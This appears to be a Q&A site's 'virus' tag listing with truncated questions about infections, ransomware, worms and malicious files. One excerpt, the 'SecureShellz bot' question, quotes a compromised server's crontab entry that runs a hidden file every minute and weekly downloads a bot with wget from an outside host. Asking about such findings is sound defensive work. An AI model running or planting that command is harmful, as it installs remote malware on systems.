A computer virus is a program or piece of code that is loaded onto your computer without your knowledge and runs against your wishes.

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1answer
56 views

Old e-mail text types itself back into PC later by itself? [closed]

Occasionally, I'll notice my Win7 PC is typing in text by itself. When I open Notepad leave it, the text being typed in is a snippet of text from an e-mail that I wrote and sent months ago to a friend ...
1
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2answers
2k views

Based on these email headers, where is this virus coming from?

I'm seeing a virus in our network with some strange headers. Sometimes they are coming (sourced) from a netscaler VIP, other times they seem to come from an Exchange hub server. How do I determine ...
1
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2answers
86 views

Viruses From Email Attachments

My company just got a worm. The specific one is beside the point, but I linked a couple pages that I think describe the worm / virus below. We're getting lots of emails to Outlook asking us to open ...
1
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2answers
207 views

“Threat: WMA:Wimad [Susp]” on .avi file, possible to remove threat and keep file?

I ran a full system scan this morning with all of my virus/malware programs and Avast detected 1 virus in an .avi file (which thankfully I have not yet watched): Severity: Medium Threat: WMA: Wimad ...
35
votes
7answers
93k views

How can I watch porn, safely, and not get a virus? (and not infect corporate data also)

I'm part of a small office in the middle of nowhere, and we just got absorbed into a large mega corporation. Sometimes we watch porn, at the office, on company computers, using the company ...
2
votes
1answer
150 views

Is it possible to get malware through an incoming video/audio stream? (e.g. Omegle, Skype etc.)

just a quick question. Is it possible for incoming video/audio streams to contain malware etc. through exploits in the transfer of the video/audio? Thanks in advance.
1
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1answer
203 views

Trojan/Worm Cridex Issue

Currently we are receiving a surge in machines that are being attacked with Cridex. We received several spam/infected emails that have used macros to we think deploy a backdoor trojan that is ...
6
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3answers
2k views

Why did Apple think OS/X was virus proof?

In such articles as this one at Examiner.com, we see that Apple had long "advertised" the immunity of its desktop OS to viruses. It had to dilute that assertion when the Flashback virus appeared. ...
12
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4answers
6k views

Is SecureShellz bot a virus? How does it work?

I'm using a development server in which I found this in the crontab: [...] * * * * * /dev/shm/tmp/.rnd >/dev/null 2>&1 @weekly wget http://stablehost.us/bots/regular.bot -O ...
4
votes
5answers
2k views

Strange android app … possibly a mass malware?

I started receiving on my android Samsung Galaxy note strange notifications in Mandarin (the language of the people of china). Once I click on the notification it opens my browser with a blank page ...
9
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2answers
3k views

How can a malicious URL affect a computer?

Many security experts advise not to click on malicious URLs. How can clicking a URL affect a computer's security? If a malicious file was downloaded and executed, then a computer's security may be ...
6
votes
4answers
371 views

What are these URLs in my browsers?

I was testing my Node.JS application. When I opened my app using Chrome and Mozilla, I saw these JS files included in every page I browse. They appear in all browsers I use (Firefox, Chrome). ...
1
vote
1answer
268 views

Is google.com/webhp malicious?

Lately, I've noticed the addition of "/webhp" in the url of Google searches along with some additional variables, "sourceid", "rlz", and a few others. Together, they make a URL in the form of ...
4
votes
1answer
2k views

What happened with badBios [duplicate]

Maybe some of you remember that in November 2013 the respected researcher Dragos Ruiu claimed that he was infected by some super advanced virus that no one ever heard of before. Experts agreed that ...
5
votes
7answers
28k views

Scanning for files than have been encrypted by CryptoLocker

I am just asking in case someone has already done the analysis. A customer has a large set of network drives that were mapped to a CryptoLocker infected machine. The infection itself has been treated. ...
1
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2answers
110 views

Help understanding malware infection

I'm kind of a newbie to security and need help fully understanding how I would infect myself inadvertently. Let's say I was to download a .zip file attached to an email and I unzipped the contents. ...
1
vote
3answers
231 views

Malware stole an executable file on my computer? Seems unlikely

If you don't want to read all of the details, skip to the bottom; I'll make a summary. I created a computer program as a proof of concept (I threw it together in 12 hours, so I wrote it in Visual ...
18
votes
7answers
1k views

Why do malware creators use such clever technologies for such silly purposes?

Some days ago I got infected by a malware, probably something new and very clever, as it went in unstopped and no scanning tool was able to detect it afterwards (see this question). It was a ...
0
votes
1answer
197 views

My computer hacked? tcpdump show a connection to an ALLOCATED UNSPECIFIED ip address

13:06:05.345111 IP 192.168.1.101.36218 > 157.55.130.174.40033: Flags [.], ack 162, win 237, options [nop,nop,TS val 688796 ecr 596714815], length 0 This IP address is Allocated Unspecified on ...
0
votes
1answer
90 views

jRAT virus on Linux

I dumbly downloaded a .jar file that contained jRAT. When run, it stalls, gives a FileNotFoundException, then crashes. When I ls'd, the jar was there. When I cd'd out and back in, the jar was gone. ...
0
votes
1answer
134 views

Virus (or Trojan) in Android

Definition of virus is (from Wikipedia): A computer virus is a malware program that, when executed, replicates by inserting copies of itself (possibly modified) into other computer programs, data ...
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2answers
103 views

Can my Mac be affected without running the malware?

Can my Mac be affected by malware without running it? For instance, if I download a random file, but don't open it, can it infect my computer?
3
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2answers
440 views

Possible trojan/virus in memory?

I've extracted objects (JPEGs) from processes` memory dumps (obtained with memdump command from volatility framework) and got strange results after searching the memory pages of the main thread of ...
3
votes
2answers
267 views

How can I recover files encrypted by Android ransomware?

My Samsung Galaxy Note II was infected by a virus called the "FBI virus." Fortunately, I've managed to remove the malware but my problem now is that all my files have been encrypted. How can I ...
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2answers
105 views

Can an compressed virus still do any harm to an OS [closed]

Let's say you have a piece of malware either as a standalone binary or hidden within a crafted image (two distinct cases). If I compress the standalone binary, can its mere presence as a compressed ...
1
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1answer
72 views

using multiple Firefox profiles to increase security

I am wondering whether it would increase security in any significant way, if I would use two separate Firefox profiles, one for normal browsing and the other for private/secure websites, such as my ...
0
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3answers
2k views

Statistics about malware targeting different OS

Are there any reports or statistics that describe the numbers or types of malware attacks on different operating systems, such as Linux, Unix, Windows, MacOS?
1
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1answer
74 views

Am I safe to see a thumbnail of a downloaded images on Ubuntu 14.04?

I have downloaded an image that someone has uploaded to my website with a public upload form. My intention was to copy the file in a virtual machine and see the image from there; unfortunately, on ...
2
votes
0answers
36 views

Removing malware which is creating temp file and modifying network traffic [duplicate]

I am on OSX 10.9.2, please note I have included several URLs in my post, this is not spam this is due to the nature of the malware. I have just discovered I have malware on my computer after noticing ...
1
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1answer
169 views

Extremely suspicious UDP network traffic when idle [closed]

My computer has been using about 7Mbps when idle, it does the same thing even I am playing games and such. This is the Wireshark capture ...
0
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2answers
291 views

Which Antivirus Software used to remove virus Rootkit.Sirefef.Gen?

My System has affect Rootkit.Sirefef.Gen Virus. So i want to know which antivirus software is used to remove Rootkit.Sirefef.Gen virus file.
0
votes
3answers
475 views

How a trojan allows attacker to connect to remote computer behind a router

According to this article on Wikipedia, a trojan horse can allow a remote connection by opening a random port if it is able to bypass the firewall. I'm not much of an expert of routers and Network ...
0
votes
1answer
187 views

How to execute an exploit without user interaction?

Is there an existing exploit, virus or malware that doesn't need any user interaction? In metasploit for example. No link to clicked, no pdf to open , no vba or exe to execute by the victim.
0
votes
3answers
894 views

How to search for evidence of Camfecting (webcam hacking)?

I'm worried about camfecting (webcam hacking). The camera light on my mac (running OSX) is not on, but it isn't hard wired so that doesn't say a lot. I've ran a virus scan but no signs. Now my idea ...
15
votes
3answers
5k views

What does this javascript file do? Is this a virus?

While searching on Google I found a website that shows one set of content to the Google Bot and an other to users (by redirecting to a new domain), and also a very suspicious Javascript file. Maybe ...
13
votes
3answers
5k views

Can Cryptolocker (Or Other Ransomware) Encrypt Files That Are Already Encrypted?

If you have already encrypted files, are they still vulnerable to being encrypted a second time by a program like Cryptolocker, or would this protect them?
3
votes
2answers
127 views

How to get rid of an Ad bot?

The issue started due to setting up a proxy server on a PC connected to my network. I then realized that all of my devices that connected to the network, including PCs and phones, are all infected by ...
0
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2answers
107 views

Suspicious 2 page, no image Word Docx has 1.7 MB

Can a word document contain virus or harm you in any way? Someone sent me a word docx that has only 2 pages, no image but it's 1.7 MB big. If I use save as to save it with a different name but still ...
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votes
2answers
94 views

What is the difference between a virus and a worm ? [duplicate]

The only thing I know is that virus can get into the other programs and infect it whereas worms cannot attach itself to another program.
1
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1answer
2k views

Can virus save to SIM Card?

(Before everything excuse me because of me English) Today one of my friends asked me about his Nokia 130 Dual SIM. There was a problem about Short Message System. No Messages were sent from that ...
3
votes
2answers
3k views

Is there any decompiled source code for the “Flame”/“Skywiper” malware?

When searching for the source for Stuxnet, its relatively easy to come by in one form or another. Although I'm actually curious if anyone has done any work to comment the source and perhaps clean up ...
1
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0answers
38 views

Why an infected VM does not affect the host machine? [duplicate]

I installed a Windows XP virtual machine on VirtualBox. The host machine is also a Windows XP. I run 5 viruses on the guest machine, however this does not seem to infect my host machine. Could someone ...
0
votes
3answers
934 views

Is there any virus that can cause physical damage [duplicate]

Like damaging a chip on the motherboard, increase the fan's speed till something explodes or anything similar to that. I am not an IT guru but I never came across a malicious code that couldn't be ...
3
votes
4answers
498 views

How do I ensure that my computer is 100% worm-free?

Ok say I have a brand new laptop that was is brand new. Is it true to say that as long as I keep the bluetooth turned off, and I am not connected to the internet, and only copy files that are 100% ...
1
vote
2answers
290 views

Does the EICAR test work on Linux based antivirus scanners?

Does the EICAR antivirus test work on antivirus scanners for Linux? The EICAR test is described in more detail here: http://en.wikipedia.org/wiki/EICAR_test_file The reason I ask is that it requests ...
38
votes
7answers
7k views

Does a virus need to be clicked on to function?

Can a virus infect my Windows XP operating system by its mere presence? I mean, if I copy/paste a virus on my computer and I never click on it, will it infect my computer or will it remain dormant, ...
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votes
1answer
97 views

Unrecognizable Icon. Virus?

Sorry I'm not sure this would be the best place but I've noticed this icon recently. I'm not sure what it is and it only pops up sometimes. When it does, I can't click it or do anything to it and it ...
1
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2answers
147 views

Buzzfeed just downloaded a binary file to my PC, unasked

The file is binary, named '96748', and it's 12.8kb in size. Ubuntu thinks it's an swf. Thank god I was in a Linux VM and not Windows. It doesn't seem to have done anything, and it's just sitting there ...
2
votes
2answers
334 views

Are there any logic-bombs that execute when the file is deleted?

I want to delete a suspected malicious file from a server. For the purposes of this question assume that the infected machine is Windows Server 2003 or later. Is there any risk in deleting such a ...